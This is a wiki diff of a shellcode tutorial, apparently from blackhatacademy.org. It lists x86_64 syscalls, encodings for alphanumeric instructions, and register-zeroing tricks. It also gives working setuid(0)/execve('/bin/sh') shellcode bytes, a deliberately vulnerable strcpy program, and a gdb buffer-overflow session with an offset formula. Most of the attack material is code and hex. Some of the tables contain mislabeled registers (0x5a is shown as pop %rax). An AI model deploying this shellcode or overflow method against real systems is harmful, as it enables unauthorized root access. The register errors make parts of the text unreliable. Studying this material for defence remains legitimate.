53:socketpair
+
54:setsockopt
+
55:getsockopt
+
56:clone
+
57:fork
+
58:vfork
+
59:execve
+
60:exit
+
61:wait4
+
62:kill
+
63:uname
+
64:semget
+
65:semop
+
66:semctl
+
67:shmdt
+
68:msgget
+
69:msgsnd
+
70:msgrcv
+
71:msgctl
+
72:fcntl
+
73:flock
+
74:fsync
+
75:fdatasync
+
76:truncate
+
77:ftruncate
+
78:getdents
+
79:getcwd
+
80:chdir
+
81:fchdir
+
82:rename
+
83:mkdir
+
84:rmdir
+
85:creat
+
86:link
+
87:unlink
+
88:symlink
+
89:readlink
+
90:chmod
+
91:fchmod
+
92:chown
+
93:fchown
+
94:lchown
+
95:umask
+
96:gettimeofday
+
97:getrlimit
+
98:getrusage
+
99:sysinfo
+
100:times
+
101:ptrace
+
102:getuid
+
103:syslog
+
104:getgid
+
105:setuid
+
106:setgid
+
107:geteuid
+
108:getegid
+
109:setpgid
+
110:getppid
+
111:getpgrp
+
112:setsid
+
113:setreuid
+
114:setregid
+
115:getgroups
+
116:setgroups
+
117:setresuid
+
118:getresuid
+
119:setresgid
+
120:getresgid
+
121:getpgid
+
122:setfsuid
+
123:setfsgid
+
124:getsid
+
125:capget
+
126:capset
+
127:rt_sigpending
+
128:rt_sigtimedwait
+
129:rt_sigqueueinfo
+
130:rt_sigsuspend
+
131:sigaltstack
+
132:utime
+
133:mknod
+
134:uselib
+
135:personality
+
136:ustat
+
137:statfs
+
138:fstatfs
+
139:sysfs
+
140:getpriority
+
141:setpriority
+
142:sched_setparam
+
143:sched_getparam
+
144:sched_setscheduler
+
145:sched_getscheduler
+
146:sched_get_priority_max
+
147:sched_get_priority_min
+
148:sched_rr_get_interval
+
149:mlock
+
150:munlock
+
151:mlockall
+
152:munlockall
+
153:vhangup
+
154:modify_ldt
+
155:pivot_root
+
156:_sysctl
+
157:prctl
+
158:arch_prctl
+
159:adjtimex
+
160:setrlimit
+
161:chroot
+
162:sync
+
163:acct
+
164:settimeofday
+
165:mount
+
166:umount2
+
167:swapon
+
168:swapoff
+
169:reboot
+
170:sethostname
+
171:setdomainname
+
172:iopl
+
173:ioperm
+
174:create_module
+
175:init_module
+
176:delete_module
+
177:get_kernel_syms
+
178:query_module
+
179:quotactl
+
180:nfsservctl
+
181:getpmsg
+
182:putpmsg
+
183:afs_syscall
+
184:tuxcall
+
185:security
+
186:gettid
+
187:readahead
+
188:setxattr
+
189:lsetxattr
+
190:fsetxattr
+
191:getxattr
+
192:lgetxattr
+
193:fgetxattr
+
194:listxattr
+
195:llistxattr
+
196:flistxattr
+
197:removexattr
+
198:lremovexattr
+
199:fremovexattr
+
200:tkill
+
201:time
+
202:futex
+
203:sched_setaffinity
+
204:sched_getaffinity
+
205:set_thread_area
+
206:io_setup
+
207:io_destroy
+
208:io_getevents
+
209:io_submit
+
210:io_cancel
+
211:get_thread_area
+
212:lookup_dcookie
+
213:epoll_create
+
214:epoll_ctl_old
+
215:epoll_wait_old
+
216:remap_file_pages
+
217:getdents64
+
218:set_tid_address
+
219:restart_syscall
+
220:semtimedop
+
221:fadvise64
+
222:timer_create
+
223:timer_settime
+
224:timer_gettime
+
225:timer_getoverrun
+
226:timer_delete
+
227:clock_settime
+
228:clock_gettime
+
229:clock_getres
+
230:clock_nanosleep
+
231:exit_group
+
232:epoll_wait
+
233:epoll_ctl
+
234:tgkill
+
235:utimes
+
236:vserver
+
237:mbind
+
238:set_mempolicy
+
239:get_mempolicy
+
240:mq_open
+
241:mq_unlink
+
242:mq_timedsend
+
243:mq_timedreceive
+
244:mq_notify
+
245:mq_getsetattr
+
246:kexec_load
+
247:waitid
+
248:add_key
+
249:request_key
+
250:keyctl
+
251:ioprio_set
+
252:ioprio_get
+
253:inotify_init
+
254:inotify_add_watch
+
255:inotify_rm_watch
+
256:migrate_pages
+
257:openat
+
258:mkdirat
+
259:mknodat
+
260:fchownat
+
261:futimesat
+
262:newfstatat
+
263:unlinkat
+
264:renameat
+
265:linkat
+
266:symlinkat
+
267:readlinkat
+
268:fchmodat
+
269:faccessat
+
270:pselect6
+
271:ppoll
+
272:unshare
+
273:set_robust_list
+
274:get_robust_list
+
275:splice
+
276:tee
+
277:sync_file_range
+
278:vmsplice
+
279:move_pages
+
280:utimensat
+
281:epoll_pwait
+
282:signalfd
+
283:timerfd_create
+
284:eventfd
+
285:fallocate
+
286:timerfd_settime
+
287:timerfd_gettime
+
288:accept4
+
289:signalfd4
+
290:eventfd2
+
291:epoll_create1
+
292:dup3
+
293:pipe2
+
294:inotify_init1
+
295:preadv
+
296:pwritev
+
297:rt_tgsigqueueinfo
+
298:perf_event_open
+
299:recvmmsg
+
300:fanotify_init
+
301:fanotify_mark
+
302:prlimit64
+
303:name_to_handle_at
+
304:open_by_handle_at
+
305:clock_adjtime
+
306:syncfs
+
307:sendmmsg
+
308:setns
+
309:getcpu
+
310:process_vm_readv
+
311:process_vm_writev
+
== 64 bit shellcode example ==
+
setuid(0); execve('/bin/sh'); - 34 bytes
+
  
 +
==Push:  alphanumeric x86_64 registers==
 +
 +
Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''One-byte, two-byte, and four-byte quantities'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| pushw [word]
 +
| \x66\x68\x##\x##
 +
| fh??
 +
|-
 +
| pushq [byte]
 +
| \x6a\x##
 +
| j?
 +
|-
 +
| pushq [dword]
 +
| \x68\x##\x##\x##\x##
 +
| h????
 +
|}
 +
 +
 +
Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register is being pushed. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Push: X86_64 Extended Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| push %rax
 +
| \x50
 +
| P
 +
|-
 +
| push %rcx
 +
| \x51
 +
| Q
 +
|-
 +
| push %rdx
 +
| \x52
 +
| R
 +
|-
 +
| push %rbx
 +
| \x53
 +
| S
 +
|-
 +
| push %rsp           
 +
| \x54
 +
| T
 +
|-
 +
| push %rbp
 +
| \x55
 +
| U
 +
|-
 +
| push %rsi
 +
| \x56
 +
| V
 +
|-
 +
| push %rdi
 +
| \x57
 +
| W
 +
|}
 +
 +
 +
For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Push: X86_64 General Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| push %r8
 +
| \x41\x50
 +
| AP
 +
|-
 +
| push %r9
 +
| \x41\x51
 +
| AQ
 +
|-
 +
| push %r10
 +
| \x41\x52
 +
| AR
 +
|-
 +
| push %r11
 +
| \x41\x53
 +
| AS
 +
|-
 +
| push %r12
 +
| \x41\x54
 +
| AT
 +
|-
 +
| push %r13
 +
| \x41\x55
 +
| AU
 +
|-
 +
| push %r14
 +
| \x41\x56
 +
| AV
 +
|-
 +
| push %r15
 +
| \x41\x57
 +
| AW
 +
|}
 +
 +
 +
For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Push: X86_64 16 bit Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| push %ax
 +
| \x66\x50
 +
| fP
 +
|-
 +
| push %cx
 +
| \x66\x51
 +
| fQ
 +
|-
 +
| push %dx
 +
| \x66\x52
 +
| fR
 +
|-
 +
| push %bx
 +
| \x66\x53
 +
| fS
 +
|-
 +
| push %sp
 +
| \x66\x54
 +
| fT
 +
|-
 +
| push %bp
 +
| \x66\x55
 +
| fU
 +
|-
 +
| push %si
 +
| \x66\x56
 +
| fV
 +
|-
 +
| push %di
 +
| \x66\x57
 +
| fW
 +
|}
 +
 +
 +
For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Push: X86_64 16 bit General Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| push %r8w
 +
| \x66\x41\x50
 +
| fAP
 +
|-
 +
| push %r9w
 +
| \x66\x41\x51
 +
| fAQ
 +
|-
 +
| push %r10w
 +
| \x66\x41\x52
 +
| fAR
 +
|-
 +
| push %r11w
 +
| \x66\x41\x53
 +
| fAS
 +
|-
 +
| push %r12w
 +
| \x66\x41\x54
 +
| fAT
 +
|-
 +
| push %r13w
 +
| \x66\x41\x55
 +
| fAU
 +
|-
 +
| push %r14w
 +
| \x66\x41\x56
 +
| fAV
 +
|-
 +
| push %r15w
 +
| \x66\x41\x57
 +
| fAW
 +
|}
 +
 +
==Pop: alphanumeric x86_64 registers==
 +
 +
Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode.    This is limited to RAX, RCX, and RAX.  As with push, the extended register shellcode is prefixed to access 16 bit and general registers.  This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers able to be pop(ed).
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Pop: X86_64 Extended Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| pop %rax
 +
| \x58
 +
| X
 +
|-
 +
| pop %rcx
 +
| \x59
 +
| Y
 +
|-
 +
| pop %rax
 +
| \x5a
 +
| Z
 +
|}
 +
 +
 +
For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.
 +
 +
 +
{|border="1" cellpadding="5" cellspacing="0" align="center"
 +
|+'''Pop: X86_64 General Registers'''
 +
|-
 +
! scope="col" | Assembly
 +
! scope="col" | Hexadecimal
 +
! scope="col" | Alphanumeric ASCII
 +
|-
 +
| pop %r8
 +
| \x41\x58
 +
| AX
 +
|-
 +
| pop %r9
 +
| \x41\x59
 +
| AY
 +
|-
 +
| pop %r10
 +
| \x41\x5a
 +
| AZ
 +
|}
 +
 +
 +
16 bit registers (using 0x66 or 'f' [sometimes fA] prefix):
 +
 +
{| border="1" cellpadding="5" cellspacing="0" align="center"
 +
! Assembly
 +
! Hexadecimal
 +
! Alphanumeric ASCII
 +
|-
 +
| pop %ax
 +
| \x66\x58
 +
| fX
 +
|-
 +
| pop %cx
 +
| \x66\x59
 +
| fY
 +
|-
 +
| pop %dx
 +
| \x66\x5a
 +
| fZ
 +
|-
 +
| pop *%r8w
 +
| \x66\x41\x58
 +
| fAX
 +
|-
 +
| pop *%r9w
 +
| \x66\x41\x59
 +
| fAY
 +
|-
 +
| pop *%r10w
 +
| \x66\x41\x5a
 +
| fAZ
 +
|}
 +
 +
Using push and pop the values of 6 fullsize CPU registers can be set:
 +
 +
*%rax
 +
*%rcx
 +
*%rdx
 +
*%r8
 +
*%r9
 +
*%r8
 +
 +
Or get any values of 16 fullsize CPU registers to the top of the stack:
 +
 +
*%r8-%r15
 +
*%rax-%rdi
 +
 +
== Prefixes ==
 +
 +
Examining this next section, there are 5 main registers, and 5 special 64 bit registers that can be push(ed), but not pop(ed):
 +
 +
*%rbx
 +
*%rsp
 +
*%rbp
 +
*%rsi
 +
*%rdi
 +
 +
This can be written using alphanumeric bytecode instructions and operands only through the use of any of the 6 full control registers by emulating for mov with push and pop.  Using only the registers already accessed, an attempt will be made to get instructions for to set values.
 +
 +
The special register prefix has been identified:
 +
 +
  0x41, 'A'
 +
 +
The word operand override has been identified,
 +
 +
  0x66, 'f'.
 +
 +
Note the identification of all the alphanumeric overrides and prefixes. These overrides are very similar to those for 32 bit platforms.
 +
 +
{| class="wikitable"
 +
! Hex Value
 +
! Alpha Value
 +
! Description
 +
|-
 +
| 0x36
 +
| 6
 +
| %ss segment override
 +
|-
 +
| 0x64
 +
| d
 +
| %fs segment override
 +
|-
 +
| 0x65
 +
| e
 +
| %gs segment override
 +
|-
 +
| 0x66
 +
| f
 +
| 16-bit operand size
 +
|-
 +
| 0x67
 +
| g
 +
| 16-bit address size
 +
|-
 +
| 0x41
 +
| A
 +
| 64-bit special register use (%r##)
 +
|-
 +
| 0x48
 +
| H
 +
| 64-bit register size override
 +
|-
 +
| 0x40-4f
 +
| B-P
 +
| Special 64-bit overrides
 +
|}
 +
 +
== Operands ==
 +
 +
Opcodes used for popping a register can also be used as 'register operands' for more advanced instructions.  For example, take this xor instruction:
 +
{| class="wikitable"
 +
! Assembly
 +
! Hexadecimal
 +
! Alpha
 +
|-
 +
| <syntaxhighlight lang="asm">xor $0x[byte](%rax),%ebx</syntaxhighlight>
 +
| \x33\x58\x##
 +
| 3X?
 +
|}
 +
 +
The %rax register can be changed to %rcx or %rdx using the 0x59 (Y) and 0x5a (Z) opcodes in place of the 0x58 (X) opcode:
 +
 +
{| class="wikitable"
 +
! Assembly
 +
! Hexadecimal
 +
! Alpha
 +
|-
 +
| <syntaxhighlight lang="asm">xor $0x[byte](%rcx),%ebx</syntaxhighlight>
 +
| \x33\x59\x##
 +
| 3Y?
 +
|}
 +
 +
Whenever there's a controllable register, the notation {reg} is used to recognize it as an option.  In the bytecodes and string examples, a '?' is used in the bytecode itself and a '*' to denote the register operand, for example:
 +
 +
{| class="wikitable"
 +
! Assembly
 +
! Hexadecimal
 +
! Alpha
 +
|-
 +
|<syntaxhighlight lang="asm">xor $0x[byte]({reg}),%ebx</syntaxhighlight>
 +
| \x33\x??\x##
 +
| 3*?
 +
|}
 +
 +
The opcodes for '''%rax''', '''%rcx''', and '''%rdx''' are important and thus will be used frequently.  When encountering multiple operands, the operand number is used in the notation for readability purposes.
 +
 +
== The rbx, rsp, and rbp registers ==
 +
Identifying the ways to set the rest of the registers while investigating %rbx was not entirely fruitful.  Full control over the %rbx register is not available, however, write access to its sub-registers is available:
 +
* %ebx
 +
* %bx
 +
* %bh
 +
* %bl
 +
 +
Apon further investigation, this opened up access to multiple additional registers using:
 +
*Xor
 +
*Imul
 +
*Movslq
 +
 +
{| class="wikitable"
 +
! Assembly
 +
! Hexadecimal
 +
! Alpha
 +
|-
 +
| <syntaxhighlight lang="asm">xor $0x[byte]({reg64}),{reg32}</syntaxhighlight>
 +
| \x33\x??\x#1
 +
| 3*1
 +
|-
 +
| <source lang="asm">imul $0x[dword1],0x[byte2]({reg64}),{reg32}</source>
 +
| \x69\x??\x#2\x#1\x#1\x#1\x#1
 +
| i*21111
 +
|-
 +
| <source lang="asm">imul $0x[byte1],0x[byte2]({reg64}), {reg32}</source>
 +
| \x6b\x??\x#2\x#1
 +
| k*21
 +
|-
 +
| <source lang="asm">movslq 0x[byte1]({reg64}), {reg32}</source>
 +
| \x63\x??\x#1
 +
| c*1
 +
|}
 +
 +
To access the %ss segment, insert the prefix at the beginning of the bytecode of instructions (e.g. "63*?" instead of "3*?").  If preferred to use the special 64 bit registers,
 +
0x41 or "A" is placed at the beginning of the bytecode.  If the use of both is required, the %ss segment register prefix first, e.g. '6A3*?' must always be used.  When using one of the 64 bit force operators, one can use any of those instructions on a 32 bit register with an override to treat it as its 64-bit counterpart (in this case, 0x48).
 +
 +
{| class="wikitable"
 +
! Assembly
 +
! Hexadecimal
 +
! Alpha
 +
|-
 +
| <source lang="asm">imul  $0x[byte1],0x[byte2]({reg64}),{reg64}</source>
 +
| \x48\x6b\x??\x#2\x#1
 +
| Hk*21
 +
|}
 +
 +
To set the value of %rbx  directly, imul, xor, and movslq can be used.  It's similar for other registers:
 +
* %rbp
 +
* %rsp
 +
 +
==Xor==
 +
Left over are %rsp, %rbp, %rdi, and %rsi.  Taking a closer look at xor, at 0x30 and ending at 0x35 are these valuable xor commands:
 +
 +
{| class="wikitable"
 +
! Hexadecimal
 +
! Assembly
 +
|-
 +
| 0x34
 +
| <syntaxhighlight lang="asm">xor $0x##, %al</syntaxhighlight>
 +
|-
 +
| 0x35
 +
| <syntaxhighlight lang="asm">xor $0x########, %eax</syntaxhighlight>
 +
|-
 +
| 0x48 0x35
 +
| <syntaxhighlight lang="asm">xor $0x########, %rax</syntaxhighlight>
 +
|}
 +
 +
'''0x30''' is a multi-byte xor instruction.  Requiring at least two operands (even if register denote):
 +
 +
{| class="wikitable"
 +
! Hexadecimal
 +
! Assembly
 +
|-
 +
| 0x30
 +
| <syntaxhighlight lang="asm">xor %{16bit}, (%{64bit})</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, (%{64bit},%{64bit},1)</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, (%{64bit},%{64bit},2)</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](%{64bit})</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](,%{64bit},1)</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](,%{64bit},2)</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](%{64bit})</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](,%{64bit},1)</syntaxhighlight>
 +
|-
 +
|
 +
| <syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](,%{64bit},2)</syntaxhighlight>
 +
|}
 +
 +
'''0x31''' is as flexible as '''0x30'''. Not all permutations are included for brevity.
 +
 +
{| class="wikitable"
 +
! Hexadecimal
 +
! Assembly
 +
|-
 +
| 0x31
 +
| <syntaxhighlight lang="asm">xor %{32bit}, (%{64bit})</syntaxhighlight>
 +
|}
 +
 +
'''0x32''' is just as flexible, although the offsets will change source side rather than destination side. Not all permutations are included for brevity.
 +
 +
{| class="wikitable"
 +
! Hexadecimal
 +
! Assembly
 +
|-
 +
| 0x32
 +
| <syntaxhighlight lang="asm">xor (%{64bit}), %{16bit}</syntaxhighlight>
 +
|}
 +
 +
'''0x33''' is the opposite of 0x31 and as flexible. Not all permutations are included for brevity.
 +
       
 +
{| class="wikitable"
 +
! Hexadecimal
 +
! Assembly
 +
|-
 +
| 0x33
 +
| <syntaxhighlight lang="asm">xor (%{64bit}), %{32bit}</syntaxhighlight>
 +
|}
 +
 +
== The rsi and rdi registers ==
 +
 +
Combining the knowledge of xor with the knowledge of the stack.  When any data is pushed, the data is accessible at %ss:(%rsp).  Knowing this, another register can be used in the available space (e.g. %rcx) to set values on some of the more difficult registers:
 +
 +
*%rbx
 +
*%rsp
 +
*%rbp
 +
*%rsi
 +
*%rdi
 +
 +
First, utilise push and pop to simulate 'mov':
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
push %rsp; \x54
 +
pop  %rcx; \x59
 +
pop  %rax; \x5a (This just sets the pointer back)
 +
</syntaxhighlight>}}
 +
 +
Two XOR parameters allow index registers to be set, %rsi and %rdi.  For now, they will be zero'd out:
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
push %rsi;            \x56
 +
xor %ss:(%rcx), %rsi; \x36\x48\x33\x31
 +
pop %r8;              \x41\x58       
 +
push %rdi;            \x57
 +
xor %ss:(%rcx), %rdi; \x36\x48\x33\x39
 +
pop %r8
 +
</syntaxhighlight>}}
 +
 +
Now %rsi and %rdi have been zero'd out. %r14 and %r15 special registers can also be pushed and zeroed out in this fashion.  Now "full control" is gained over:
 +
 +
*%rax
 +
*%rcx
 +
*%rdx
 +
*%rsi
 +
*%rdi
 +
*%r8
 +
*%r9
 +
*%r10
 +
*%r14
 +
*%r15
 +
 +
So far, in this sample, full control has not been utilized over:
 +
 +
*%rsp
 +
*%rbp
 +
*%rbx
 +
*%r11
 +
*%r12
 +
*%r13
 +
 +
Similar to push, controllable data is required before the setting of a register.  Where pop is concerned, something might be required to be pushed to the stack first, in this case, only the zero register is required. Due to the way that XOR works, once a zero is registered at all, in this case %rax is used as the zero register, it can be used to get %rbx, %rsp, and %rbp to zero if needed:
 +
 +
To get %rbx:
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
xor %ss:0x30(%rcx), %rax;      store that value in rax
 +
xor %rax, %ss:0x30(%rcx);      Null that area of stack
 +
imul $0x30,%ss:0x30(%rax),%rbx; 0x30 * 0 = 0
 +
imul $0x30,%ss:0x30(%rax),%rbp; 0x30 * 0 = 0
 +
</syntaxhighlight>}}
 +
 +
Once the stack space, as well as the destination is set to zero, %rax, %rbp can effectively be mov(ed):
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
xor    %rax,%ss:0x30(%rcx); 36 48 31 41 30
 +
xor    %ss:0x30(%rcx),%rbp; 36 48 33 69 30
 +
</syntaxhighlight>}}
 +
 +
The closest thing to incrementing and decrementing is the ability to use the ins and outs instructions to add or subtract 1,2, or 4 against the %rdi register.  This still leaves no significant add or sub.  Imul can be used with 16 and 8 bit registers to find division. If %rsi or %rdi are not in use, there is also a magic mov :
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
movslq %ss:0x30(%rcx), %rsi
 +
xor %rsi, %ss:0x30(%rsi)
 +
</syntaxhighlight>}}
 +
 +
This can come in quite handy when chunking large pieces of data to 0.
 +
 +
==Example: Zeroing Out x86_64 CPU Registers==
 +
 +
First %rsp is pushed to the top of the stack and the pointer address is popped into in %rcx,  the third pop is to ensure that the pointer address matches what is now in %rcx.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push %rsp
 +
        pop %rcx
 +
        pop %r8           
 +
</syntaxhighlight>}}
 +
 +
The following push overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then set back to %rcx using pop.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push %rsi
 +
        xor %ss:(%rcx), %rsi
 +
        pop %r8
 +
</syntaxhighlight>}}
 +
 +
Again using the same form,  %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push %rdi
 +
        xor %ss:(%rcx), %rdi
 +
        pop %r8
 +
</syntaxhighlight>}}
 +
 +
Zeroing out RDX is much simpler.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push %rdi
 +
        pop %rdx
 +
</syntaxhighlight>}}
 +
 +
The following push and pop sets %rax to 0x30.  %al is the lowest order 8 bit subregister of %rax.  Since 0x30 resides in %al, the xor effectively zeroes out $rax.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push $0x30
 +
        pop %rax
 +
        xor $0x30, %al
 +
</syntaxhighlight>}}
 +
 +
For %rbx and %rbp we xor %ss:0x30(%rcx), which is first zeroed out, against each register and then xor the register against %ss:0x30(%rcx),  which results in each register being zeroed out.
 +
 +
Zero out the %ss:0x30(%rcx) stack segment.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        xor %ss:0x30(%rcx), %rax
 +
        xor %rax, %ss:0x30(%rcx)
 +
</syntaxhighlight>}}
 +
 +
xor %rbx into the stack segment and then xor it against rbx to zero.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        xor %rbx, %ss:0x30(%rcx)
 +
        xor %ss:0x30(%rcx), %rbx
 +
</syntaxhighlight>}}
 +
 +
Rezero the stack segment with %rax.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        push %rdx
 +
        pop %rax
 +
        xor %ss:0x30(%rcx), %rax
 +
        xor %rax, %ss:0x30(%rcx)
 +
</syntaxhighlight>}}
 +
 +
As before, xor %rbp into the stack segment and then xor it against rbp to zero.
 +
 +
{{code|text=<syntaxhighlight lang="asm">
 +
        xor %rbp, %ss:0x30(%rcx)
 +
        xor %ss:0x30(%rcx), %rbp
 +
</syntaxhighlight>}}
 +
 +
=  64 bit shellcode: Conversion to alphanumeric code =
 +
* Because of the limited instruction set, the conversion requires many '''mov emulations''' via '''xor''', '''mul''', '''movslq''', '''push''', and '''pop'''.
 +
== bof.c ==
 +
{{info|This is a modified version of bof.c to allow for 200 bytes because the length of the final shellcode exceeds 100 bytes.}}
 +
{{code|text=<source lang="c">
 +
#include <stdlib.h>
 +
#include <stdio.h>
 +
#include <string.h>
 +
 +
int main(int argc, char *argv[]){
 +
        char buffer[200];
 +
        strcpy(buffer,  argv[1]);
 +
        return 0;
 +
}
 +
</source>}}
 +
 +
== Starting shellcode (64-bit execve /bin/sh) ==
 +
{{info|This was converted to shellcode from the example in 64 bit linux assembly}}
 +
* execve('/bin/sh');
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
.section .data
 
.section .data
Line 701: Line 1,101:
 
_start:
 
_start:
  
xor %rdi, %rdi
+
  # a function is f(%rdi, %rsi, %rdx, %r10, %r8, %r9).
push $0x69
+
pop %rax
+
syscall                                # setuid(0)
+
 
+
  # a function is f(%rdi,%rdx,%rsi).
+
 
  # Use zeroed memory to zero out %rsi, %rdi, %rdx
 
  # Use zeroed memory to zero out %rsi, %rdi, %rdx
 +
xor %rdi, %rdi
 
  push %rdi
 
  push %rdi
 
  push %rdi
 
  push %rdi
Line 725: Line 1,121:
 
</source>}}
 
</source>}}
  
* Setuid(0) - 8 bytes
+
* execve('/bin/sh')  
  "\x48\x31\xff\x6a\x69\x58\x0f\x05"
+
  "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
  
* execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes
+
== Shellcode Analysis ==
  "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
+
'''Immediately before the syscall:'''
 +
* %rax is set to 0x3b
 +
* %rdi is a pointer to '/bin/sh\0'
 +
* %rsi and %rdx are null
 +
To reproduce this, because the syscall is binary, it must be written to a location that will eventually be executed ahead of currently executing code. The '''xor''' and '''imul''' instructions can then be used to set values on registers.
  
* Altogether - 34 bytes:
+
==Stack Analysis==
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
+
{{info|These buffer dumps have been shortened for brevity and readability.}}
== 64 bit alphanum available instructions ==
+
  [root@ares bha]# gdb -q ./bof
cmp
+
  Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
  imul
+
  (gdb) r $(perl -e 'print "A"x232;')
  insb
+
  Starting program: /home/hatter/bha/bof $(perl -e 'print "A"x232;')
  insl
+
  Program received signal SIGSEGV, Segmentation fault.
  insw
+
  0x0000000000400525 in main ()
  ja
+
  (gdb) x/500x $rsp                                   
  jae
+
  '''0x7fffffffe3c8''': 0x41414141      0x41414141      0x41414141      0x41414141
  jb
+
  0x7fffffffe3d8: 0xffffe400      0x00007fff      0x00000000      0x00000002
  jbe
+
  ..........................
je
+
  0x7fffffffe708: 0x2f656d6f      0x68726f76      0x2f736565      0x2f616862
jne
+
  0x7fffffffe718: 0x00666f62      '''0x41414141      0x41414141      0x41414141'''
jno
+
  0x7fffffffe728: '''0x41414141      0x41414141      0x41414141      0x41414141'''
jns
+
jo
+
jp
+
js
+
movslq
+
outsb
+
outsl
+
outsw
+
pop
+
push
+
pushq
+
pushw
+
xor
+
== 64 bit alphanumeric code register manipulation guide ==
+
        # This is nothing except for how-to zero out
+
        # all the cpu registers in alpha space
+
        push %rsp
+
        pop %rcx                # Now, watch carefully.
+
       
+
        push %rsi
+
        xor %ss:(%rcx), %rsi    # Zero out %rsi
+
        pop %r8                  # setting %rsp back to %rcx
+
  
        push %rdi
+
* The formula to determine the offset to begin overwriting data from the stack pointer is '''([[return address]] + [[shellcode]] length) - %rsp'''.
        xor %ss:(%rcx), %rdi    # Zero out %rdi
+
{| class="wikitable"
        pop %r8                  # set %rsp to %rcx
+
|-
       
+
|'''Operation'''
        push %rdi
+
|<b>Value</b>
        pop %rdx                # rdx is zero
+
|<b>Comments</b>
 +
|-
 +
|<center>
  
        push $0x30
 
        pop %rax
 
        xor $0x30, %al          # zeroed out %rax
 
  
        # Time to zero %rbx and %rbp
+
'''+'''
        xor %ss:0x30(%rcx), %rax
+
        xor %rax, %ss:0x30(%rcx) # Zero that stack slot
+
        xor %rbx, %ss:0x30(%rcx)
+
        xor %ss:0x30(%rcx), %rbx # %rbx is zero
+
  
        push %rdx
+
'''-'''</center>
        pop %rax                # re-initialize %rax as dummy
+
|0x7fffffffe726
  
        xor %ss:0x30(%rcx), %rax
+
0x71
        xor %rax, %ss:0x30(%rcx)
+
        xor %rbp, %ss:0x30(%rcx)
+
        xor %ss:0x30(%rcx), %rbp # %rbp is zero
+
  
        # Setting register values and data manipulation
+
0x7fffffffe3c8
        # in alphanumeric code for the 64 bit amd.
+
|
        #  by hatter (blackhatacademy.org)
+
:[[return address]]
  
 +
:[[shellcode]] length (113 characters)
  
